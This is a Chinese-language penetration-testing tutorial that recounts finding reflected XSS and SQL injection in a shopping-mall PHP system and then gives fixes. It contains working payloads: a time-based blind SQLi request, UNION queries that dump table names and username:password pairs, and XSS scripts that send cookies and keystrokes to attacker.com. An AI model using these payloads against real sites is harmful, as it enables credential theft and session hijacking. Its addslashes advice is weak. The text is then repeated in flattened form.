渗透测试 | 某商城系统漏洞挖掘经验分享
字数 1368 2025-08-20 18:18:17

商城系统渗透测试与漏洞挖掘实战指南

1. 前言与概述

本教学文档基于某商城系统的实际渗透测试案例,详细分析SQL注入、XSS和文件上传等常见Web漏洞的发现与利用过程。这些漏洞类型在Web应用中普遍存在,理解其原理和利用方法对安全测试人员至关重要。

2. 自动化代码审计

2.1 Seay代码审计工具使用

  1. 工具选择:Seay源代码审计系统是一款针对PHP代码的自动化审计工具

  2. 审计重点

    • 查找直接使用$_GET$_POST等超全局变量的代码片段
    • 关注包含id等常见参数的SQL查询语句
    • 检查文件上传功能的过滤机制
  3. 典型发现

    • 多处存在直接拼接用户输入到SQL语句的情况
    • 缺乏对用户输入的过滤和参数化查询

3. XSS漏洞分析

3.1 反射型XSS漏洞

漏洞位置/query.php页面

漏洞详情

  • URL参数paypass未经过滤直接输出到页面
  • 攻击向量:/query.php?no=20240722161122525&paypass="><sCrIpT>alert(1)</ScRiPt>

代码分析

// 从注释推断的代码逻辑
$srow['sta'] = ...; // 决定是否跳转
header("Location: query.php?no=".$md5_trade_no."&paypass=".$paypass);

漏洞成因

  1. paypass参数未经过任何过滤
  2. 恶意输入被直接插入到跳转URL中
  3. 当页面渲染时,恶意脚本被执行

4. SQL注入漏洞分析

4.1 搜索功能SQL注入

漏洞文件template/g4/sousuo.php

漏洞代码

$pz = $_POST['pz'];
if (!empty($pz)) {
    $gsql = "SELECT * FROM safwl_goods WHERE gName like '%$pz%' or id like '%$pz%' or tpId like '%$pz%' order by id desc";
    $grs = $DB->query($gsql);
    // ...
}

漏洞特征

  1. 直接拼接用户输入($pz)到SQL语句
  2. 无任何过滤或参数化处理
  3. 影响多个字段(gName, id, tpId)

4.2 SQL注入利用示例

攻击向量

POST /sousuo.php HTTP/1.1
Host: xxx.xx.xxx.xx
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

pz=1%27and%28select%2Afrom%28select%2Bsleep%282%29%29a%2F%2A%2A%2Fun

解码后实际输入

pz=1'and(select*from(select+sleep(2))a/**/un

攻击效果

  • 通过时间盲注技术(sleep(2))验证漏洞存在
  • 可进一步利用获取数据库信息

4.3 其他SQL注入点

  1. 通过ID参数的简单写法推测可能存在多处注入
  2. 授权与非授权状态下的注入风险差异

5. 漏洞利用进阶

5.1 SQL注入深入利用

  1. 信息获取

    • 获取数据库版本:pz=1' UNION SELECT 1,version(),3,4-- -
    • 获取表名:pz=1' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -
  2. 数据提取

    • 获取用户表数据:pz=1' UNION SELECT 1,group_concat(username,':',password),3,4 FROM users-- -

5.2 XSS漏洞利用扩展

  1. 窃取Cookie

    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  2. 键盘记录

    <script>document.onkeypress=function(e){new Image().src='http://attacker.com/keylog.php?k='+e.keyCode;}</script>
    

6. 防御措施

6.1 SQL注入防御

  1. 参数化查询

    $stmt = $DB->prepare("SELECT * FROM safwl_goods WHERE gName LIKE ? OR id LIKE ? OR tpId LIKE ? ORDER BY id DESC");
    $stmt->execute(["%$pz%", "%$pz%", "%$pz%"]);
    
  2. 输入过滤

    $pz = addslashes($_POST['pz']); // 基础过滤
    // 或更好的方式
    $pz = $DB->quote("%$_POST[pz]%");
    

6.2 XSS防御

  1. 输出编码

    echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
    
  2. 内容安全策略(CSP)

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
    

6.3 通用安全建议

  1. 使用最新框架的安全功能
  2. 定期进行代码审计和安全测试
  3. 实施最小权限原则
  4. 记录和监控可疑活动

7. 总结

本案例展示了常见Web漏洞的实际发现和利用过程,强调了:

  1. 用户输入永远不可信的原则
  2. 安全开发实践的重要性
  3. 自动化工具与手动验证结合的必要性
  4. 纵深防御的安全理念

通过理解这些漏洞的原理和利用方法,安全人员可以更有效地发现和修复系统中的安全问题。

商城系统渗透测试与漏洞挖掘实战指南 1. 前言与概述 本教学文档基于某商城系统的实际渗透测试案例,详细分析SQL注入、XSS和文件上传等常见Web漏洞的发现与利用过程。这些漏洞类型在Web应用中普遍存在,理解其原理和利用方法对安全测试人员至关重要。 2. 自动化代码审计 2.1 Seay代码审计工具使用 工具选择 :Seay源代码审计系统是一款针对PHP代码的自动化审计工具 审计重点 : 查找直接使用 $_GET 、 $_POST 等超全局变量的代码片段 关注包含 id 等常见参数的SQL查询语句 检查文件上传功能的过滤机制 典型发现 : 多处存在直接拼接用户输入到SQL语句的情况 缺乏对用户输入的过滤和参数化查询 3. XSS漏洞分析 3.1 反射型XSS漏洞 漏洞位置 : /query.php 页面 漏洞详情 : URL参数 paypass 未经过滤直接输出到页面 攻击向量: /query.php?no=20240722161122525&paypass="><sCrIpT>alert(1)</ScRiPt> 代码分析 : 漏洞成因 : paypass 参数未经过任何过滤 恶意输入被直接插入到跳转URL中 当页面渲染时,恶意脚本被执行 4. SQL注入漏洞分析 4.1 搜索功能SQL注入 漏洞文件 : template/g4/sousuo.php 漏洞代码 : 漏洞特征 : 直接拼接用户输入( $pz )到SQL语句 无任何过滤或参数化处理 影响多个字段( gName , id , tpId ) 4.2 SQL注入利用示例 攻击向量 : 解码后实际输入 : 攻击效果 : 通过时间盲注技术( sleep(2) )验证漏洞存在 可进一步利用获取数据库信息 4.3 其他SQL注入点 通过ID参数的简单写法推测可能存在多处注入 授权与非授权状态下的注入风险差异 5. 漏洞利用进阶 5.1 SQL注入深入利用 信息获取 : 获取数据库版本: pz=1' UNION SELECT 1,version(),3,4-- - 获取表名: pz=1' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- - 数据提取 : 获取用户表数据: pz=1' UNION SELECT 1,group_concat(username,':',password),3,4 FROM users-- - 5.2 XSS漏洞利用扩展 窃取Cookie : 键盘记录 : 6. 防御措施 6.1 SQL注入防御 参数化查询 : 输入过滤 : 6.2 XSS防御 输出编码 : 内容安全策略(CSP) : 6.3 通用安全建议 使用最新框架的安全功能 定期进行代码审计和安全测试 实施最小权限原则 记录和监控可疑活动 7. 总结 本案例展示了常见Web漏洞的实际发现和利用过程,强调了: 用户输入永远不可信的原则 安全开发实践的重要性 自动化工具与手动验证结合的必要性 纵深防御的安全理念 通过理解这些漏洞的原理和利用方法,安全人员可以更有效地发现和修复系统中的安全问题。